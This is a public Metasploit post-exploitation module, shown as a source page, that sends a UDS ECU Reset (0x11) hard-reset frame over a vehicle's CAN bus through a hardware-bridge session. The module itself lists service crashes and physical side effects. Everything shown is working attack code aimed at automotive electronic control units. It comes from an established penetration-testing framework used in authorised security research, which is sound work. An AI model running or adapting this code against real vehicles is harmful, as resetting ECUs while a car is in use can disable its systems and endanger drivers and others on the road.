CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/hardware/automotive/ecu_hard_reset.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
def initialize(info = {})
8
super(
9
update_info(
10
info,
11
'Name' => 'ECU Hard Reset',
12
'Description' => ' This module performs hard reset in the ECU Reset Service Identifier (0x11)',
13
'License' => MSF_LICENSE,
14
'Author' => ['Jay Turla'],
15
'Platform' => ['hardware'],
16
'SessionTypes' => ['hwbridge'],
17
'Notes' => {
18
'Stability' => [ CRASH_SERVICE_RESTARTS ],
19
'SideEffects' => [ PHYSICAL_EFFECTS ],
20
'Reliability' => [ ]
21
}
22
)
23
)
24
register_options([
25
OptString.new('ARBID', [false, 'CAN ID to perform ECU Hard Reset', '0x7DF']),
26
OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil])
27
])
28
end
29
30
def run
31
unless client.automotive
32
print_error('The hwbridge requires a functional automotive extention')
33
return
34
end
35
print_status('Performing ECU Hard Reset...')
36
client.automotive.cansend(datastore['CANBUS'], datastore['ARBID'], '0211010000000000')
37
end
38
39
end
40
41